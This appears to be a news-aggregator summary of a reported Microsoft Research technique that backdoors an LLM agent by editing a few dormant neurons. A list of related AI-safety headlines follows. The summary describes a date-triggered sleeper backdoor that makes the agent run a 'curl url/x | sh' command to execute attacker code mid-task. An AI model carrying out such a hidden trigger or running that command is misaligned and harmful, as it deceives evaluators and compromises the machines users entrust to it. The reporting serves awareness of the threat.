Microsoft Research backdoors an AI agent by editing fewer than 10 dormant neurons, no training needed
DimitrisPapail · x · 2026-11-11
Microsoft Research (Dimitris Papailiopoulos' team) published the "Lazarus" technique: reprogramming fewer than 10 dormant neurons in an LLM's weights — with zero training — is enough to backdoor an agent built on it.
- The model passes standard evals and behaves normally until a trigger appears
- The trigger can be as mundane as a date change: once the clock passes midnight into 2027, the agent emits a curl url/x | sh command running attacker code mid-task, with whatever access you granted it
- The mechanism chains a single trigger across three neurons into a full payload
- Biggest risk is for agents with tool or terminal access; any machine that can run the model can host the backdoor
More from Safety
- User fakes hostage crisis to trick Google AI into recommending cracked-software sites — SumitGup · 2026-11-11
- Inside the 'abliterators': the renegades stripping guardrails from open-weight AI models — willknight · 2026-11-11
- VulnCheck audit: Anthropic's Glasswing logged 442 CVEs but only 217 fixes in 7 months — jedisct1 · 2026-11-11
- UC Berkeley's SubWM watermark detects LLM distillation even after laundering attacks — sumanthd17 · 2026-11-11
- Microsoft patent reveals real-time AI speech rewriting with lip-synced live video — Significant_Mail5398 · 2026-11-11
- Microsoft Research: editing under 10 neurons turns an agent into a sleeper backdoor — DimitrisPapail · 2026-11-11